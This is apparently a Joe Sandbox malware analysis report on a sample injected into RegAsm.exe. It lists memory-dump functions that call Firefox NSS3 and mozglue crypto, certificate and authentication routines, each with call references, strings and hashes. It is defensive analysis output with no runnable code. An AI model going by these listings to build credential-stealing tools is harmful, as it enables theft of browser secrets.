TlsGetValue.KERNEL32(?,?,?,6C262E62,?,?,?,?,?,?,?,00000000,?,?,?,6C234F1C), ref: 6C248EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C262E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C248EF1
PR_Unlock.NSS3 ref: 6C248F20

Strings

b.&l, xrefs: 6C248E96, 6C248F25

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.&l
API String ID: 1978757487-90318121
Opcode ID: 4ce45389ffa5e54c59008552e4bcade13ca0592b40712460159337df664f3bcb
Instruction ID: e2ac1a73a40f7ced8cd3e43353997fcb5b11c55a662af46839bed8f89a77ca50
Opcode Fuzzy Hash: 4ce45389ffa5e54c59008552e4bcade13ca0592b40712460159337df664f3bcb
Instruction Fuzzy Hash: B6215E71A096099FD704AF29D484699BBF4FF48314F41856EEC98DBB41D730E854CBD2

Function 6C332C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C332CA0
PR_ExitMonitor.NSS3 ref: 6C332CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C332CD1
strdup.MOZGLUE(?), ref: 6C332CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C332D27

Strings

Loaded library %s (static lib), xrefs: 6C332D22

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: e4b061ae5c61ba1bd80788634957f4b37628193f6a6cd06689aee0e3c633adce
Instruction ID: 5ddd1cc2da14a9d1f8841a7ddfe37ced00ff9879be2d2dddda06b4c337f172bd
Opcode Fuzzy Hash: e4b061ae5c61ba1bd80788634957f4b37628193f6a6cd06689aee0e3c633adce
Instruction Fuzzy Hash: DE11D0B16022A09FEB019F15E944AA677B8AB8630DF14802DEC5D87B42D733D818CFE1

Function 0041FA24 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041FA6D
DName::operator+.LIBCMT ref: 0041FA74
DName::DName.LIBCMT ref: 0041FA96
DName::operator+.LIBCMT ref: 0041FA9D
DName::operator+.LIBCMT ref: 0041FAA4

Strings

throw(, xrefs: 0041FA65, 0041FA8E

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction ID: f88cabbda18bcd4624fad7201f608a4b7bec8680ec46b3ab11068729d5ffd4ff
Opcode Fuzzy Hash: acf3c3f6b62bbe0bf60cea1499b19d7b2d2c206c409909a41351c69a4c2d4579
Instruction Fuzzy Hash: 87019B70600208BFCF14EF64D852EED77B5EF44748F10406AF905972A5DA78EA8B878C

Function 6C2C2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C2C3046

Part of subcall function 6C2AEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2AEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C297FFB), ref: 6C2C312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2C3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C2C2E8B

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

Part of subcall function 6C2AF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C299BFF,?,00000000,00000000), ref: 6C2AF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C297FFA), ref: 6C2C2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C2C317B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 9067690da64a519b691072fd2f66076264911e3eaed0fe7220065315ba7d7f63
Instruction ID: f6b1973f971224bb798a3c7c62254fe1c8a59bb89b48e783d9dc6c02fdcaa818
Opcode Fuzzy Hash: 9067690da64a519b691072fd2f66076264911e3eaed0fe7220065315ba7d7f63
Instruction Fuzzy Hash: C4A1ACB1A0021D9FDB24CF54CC84BEAB7B5EF45308F048199ED4967741EB71A945CFA2

Function 6C28ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C28ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C28EDCE

Part of subcall function 6C280BE0: malloc.MOZGLUE(6C278D2D,?,00000000,?), ref: 6C280BF8
Part of subcall function 6C280BE0: TlsGetValue.KERNEL32(6C278D2D,?,00000000,?), ref: 6C280C15

free.MOZGLUE(00000000,?,?,?,?,6C28B04F), ref: 6C28EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C28EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C28EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C28EEFB

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f405a20c62c74cdebe650d6aa8318dfc3d62a94246fcf878467e3ce75e66ab3b
Instruction ID: 1c24768e0854eea105f5f5b6493291ebe8579013c22f6dececb6d3ed7ae8ab0b
Opcode Fuzzy Hash: f405a20c62c74cdebe650d6aa8318dfc3d62a94246fcf878467e3ce75e66ab3b
Instruction Fuzzy Hash: 508160B9A0220A9FEB14CF55DC84BAB77F5BF88309F144428EC1597791DB30E818CBA1

Function 6C28CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C28C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C28DAE2,?), ref: 6C28C6C2

PR_Now.NSS3 ref: 6C28CD35

Part of subcall function 6C2E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DC6
Part of subcall function 6C2E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C330A27), ref: 6C2E9DD1
Part of subcall function 6C2E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C2E9DED

Part of subcall function 6C276C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C221C6F,00000000,00000004,?,?), ref: 6C276C3F

PR_GetCurrentThread.NSS3 ref: 6C28CD54

Part of subcall function 6C2E9BF0: TlsGetValue.KERNEL32(?,?,?,6C330A75), ref: 6C2E9C07

Part of subcall function 6C277260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C221CCC,00000000,00000000,?,?), ref: 6C27729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C28CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C28CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C28CE2C

Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C2810F3
Part of subcall function 6C2810C0: EnterCriticalSection.KERNEL32(?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28110C
Part of subcall function 6C2810C0: PL_ArenaAllocate.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281141
Part of subcall function 6C2810C0: PR_Unlock.NSS3(?,?,?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C281182
Part of subcall function 6C2810C0: TlsGetValue.KERNEL32(?,6C228802,00000000,00000008,?,6C21EF74,00000000), ref: 6C28119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C28CE40

Part of subcall function 6C2814C0: TlsGetValue.KERNEL32 ref: 6C2814E0
Part of subcall function 6C2814C0: EnterCriticalSection.KERNEL32 ref: 6C2814F5
Part of subcall function 6C2814C0: PR_Unlock.NSS3 ref: 6C28150D

Part of subcall function 6C28CEE0: PORT_ArenaMark_Util.NSS3(?,6C28CD93,?), ref: 6C28CEEE
Part of subcall function 6C28CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C28CD93,?), ref: 6C28CEFC
Part of subcall function 6C28CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C28CD93,?), ref: 6C28CF0B
Part of subcall function 6C28CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C28CD93,?), ref: 6C28CF1D

Part of subcall function 6C28CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF47
Part of subcall function 6C28CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF67
Part of subcall function 6C28CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C28CD93,?,?,?,?,?,?,?,?,?,?,?,6C28CD93,?), ref: 6C28CF78

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 826580b3aef2a3d9677924ec7fe6fbdb5120749a505e12018f3ca010785e0bbd
Instruction ID: 723c6a2cf9f1081cdcf33ea82a001ab97a2d8f46943de92e28a2767e54d12d36
Opcode Fuzzy Hash: 826580b3aef2a3d9677924ec7fe6fbdb5120749a505e12018f3ca010785e0bbd
Instruction Fuzzy Hash: 2251C7B6A021199FE710EF69DC40BDA73E4EF48748F250624ED54A7780EB31E909CBA1

Function 6C25EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C25EF38

Part of subcall function 6C249520: PK11_IsLoggedIn.NSS3(00000000,?,6C27379E,?,00000001,?), ref: 6C249542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C25EF53

Part of subcall function 6C264C20: TlsGetValue.KERNEL32 ref: 6C264C4C
Part of subcall function 6C264C20: EnterCriticalSection.KERNEL32(?), ref: 6C264C60
Part of subcall function 6C264C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C264CA1
Part of subcall function 6C264C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C264CBE
Part of subcall function 6C264C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C264CD2
Part of subcall function 6C264C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C264D3A

PR_GetCurrentThread.NSS3 ref: 6C25EF9E

Part of subcall function 6C2E9BF0: TlsGetValue.KERNEL32(?,?,?,6C330A75), ref: 6C2E9C07

free.MOZGLUE(00000000), ref: 6C25EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C25F016
free.MOZGLUE(00000000), ref: 6C25F022

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: f601cd860138140ae27399aa4b52db2a842efba7b515a5255229caec674b889f
Instruction ID: 06375874ada828d79d4869e69c50d62dfe6ffabf8987ea5ee32c5b4ba97c210e
Opcode Fuzzy Hash: f601cd860138140ae27399aa4b52db2a842efba7b515a5255229caec674b889f
Instruction Fuzzy Hash: 61418371E0020EABDF019FA9DC45BEF7BB9AB48358F444025FD14A7350EB72C9258BA1

Function 6C24CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C24CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C24D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C24D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C24D025
PR_NewLock.NSS3 ref: 6C24D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C24D074

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e8901c675db62d4ca987b782371aee49ac9d01700711498d1ba57b644adab769
Instruction ID: 6e8e7327be80022564ece092243208a35655559206ff3ad04c23cb7d170f0040
Opcode Fuzzy Hash: e8901c675db62d4ca987b782371aee49ac9d01700711498d1ba57b644adab769
Instruction Fuzzy Hash: BA410BB0A0131A8FDB14DF29C8847967BE4EF0831AF11D16AEC198F746DB74D489CBA1

Function 00413259 Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413278
StrCmpCA.SHLWAPI(00000000,004367D8), ref: 004132B1
strtok_s.MSVCRT ref: 00413371

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 264f35a48c595a1dd1d23ce806c08b0664bc3f9f1fea006674d365e83df1677c
Instruction ID: 735330a1d008a833b374886be4d947a81621c86a210c44f2da093846d2bcbd8c
Opcode Fuzzy Hash: 264f35a48c595a1dd1d23ce806c08b0664bc3f9f1fea006674d365e83df1677c
Instruction Fuzzy Hash: 64319671E001099FCB14DF68CC85BAA77A8BB08717F51505BEC05DA191EB7CCB818B4C

Function 6C232E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C222D1A), ref: 6C232E7E

Part of subcall function 6C2807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C228298,?,?,?,6C21FCE5,?), ref: 6C2807BF
Part of subcall function 6C2807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C2807E6
Part of subcall function 6C2807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C28081B
Part of subcall function 6C2807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C280825

PR_Now.NSS3 ref: 6C232EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C232EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C222D1A), ref: 6C232F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C222D1A), ref: 6C232F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C232F81

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 8c6932c13de0f2f00d075b52a83b3a0613b92a4ba18f59744eb058d9ab51221c
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: F53134F150112D8AE720C614DC58FAE7369EF80319F24257AEC1D97AD2EB34984AC691

Function 6C220E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C220A2C), ref: 6C220E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C220A2C), ref: 6C220E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C220A2C), ref: 6C220E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C220A2C), ref: 6C220E90
free.MOZGLUE(00000000), ref: 6C220EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C220A2C), ref: 6C220ED9

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 27e51b2b2e945b543a4d5c8100af33aee0c4f03368b751c9e196c26dd89f4036
Instruction ID: c194f68c0c3c55ed8c6c77eb4555bbfa4ab2be8b738a84a8a8076aa396580dac
Opcode Fuzzy Hash: 27e51b2b2e945b543a4d5c8100af33aee0c4f03368b751c9e196c26dd89f4036
Instruction Fuzzy Hash: 142131B2E0028D57EB1049655C55F6B76AEDBC5749F190035FC1C53A42EB78C89482A2

Function 6C22AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C22AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C22AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C22AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C22AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C349500), ref: 6C22AF23

Part of subcall function 6C27F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C27F0C8
Part of subcall function 6C27F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C27F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C22AF37

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 0fbc5b2dfb229ffc855cd8a77bafff4eea0801349851ba3a4d477951fa50774d
Instruction ID: e5a643cc9d4d59039763e3d251868870ff6214bb141677c181628281082b718b
Opcode Fuzzy Hash: 0fbc5b2dfb229ffc855cd8a77bafff4eea0801349851ba3a4d477951fa50774d
Instruction Fuzzy Hash: 80214C71909308DBE7208E188C41B9A77E4AF8572CF144315FC149BBD1E73AD50987A7

Function 6C2AEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C2AEE85
realloc.MOZGLUE(CDCDBC19,?), ref: 6C2AEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C2AEEC5

Part of subcall function 6C280BE0: malloc.MOZGLUE(6C278D2D,?,00000000,?), ref: 6C280BF8
Part of subcall function 6C280BE0: TlsGetValue.KERNEL32(6C278D2D,?,00000000,?), ref: 6C280C15

htonl.WSOCK32(?), ref: 6C2AEEE3
htonl.WSOCK32(00000000,?), ref: 6C2AEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C2AEF01

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

